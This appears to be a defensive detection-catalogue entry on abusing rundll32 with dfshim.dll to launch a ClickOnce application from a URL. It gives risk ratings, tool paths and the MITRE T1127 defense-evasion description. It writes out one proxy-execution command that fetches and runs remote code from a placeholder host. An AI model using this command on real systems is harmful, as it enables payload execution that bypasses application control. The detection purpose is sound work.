MalCommands — Dfsvc

#					tactics	techniques	os

detail

Command Line

rundll32.exe dfshim.dll,ShOpenVerbApplication http://www.domain.com/application/?param1=foo

Description

Abusing rundll32 with dfsvc library dfshim.dll to launch a click-once-application from a given URL.

Risk

High

Risk Reason

This type of commandline is extremely rare for most organizations and should be treated as highly suspicious.

Fidelity

High

Fidelity Reason

This type of commandline activity is typically very abnormal for most organizations.

Operating Systems

Windows

Killchain Phases

Actions on Objectives

References

https://lolbas-project.github.io/lolbas/Binaries/Dfsvc/

TOOL DATA

Tool Name: dfsvc

Tool URL: https://learn.microsoft.com/en-us/visualstudio/deployment/clickonce-reference?view=vs-2022

Tool Description: Dfsvc.exe provides a library and mechanism to facilitate the launching of ClickOnce engine used in .NET framework.

Common Tool Locations

C:\Windows\Microsoft.NET\Framework\v2.0.50727\Dfsvc.exe
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Dfsvc.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Dfsvc.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Dfsvc.exe

Common Tool Arguments

MITRE ATT&CK TECHNIQUES

Technique: T1127 - Trusted Developer Utilities Proxy Execution

URL: https://attack.mitre.org/techniques/T1127

Description: Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker) These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.

Tactics:

Defense Evasion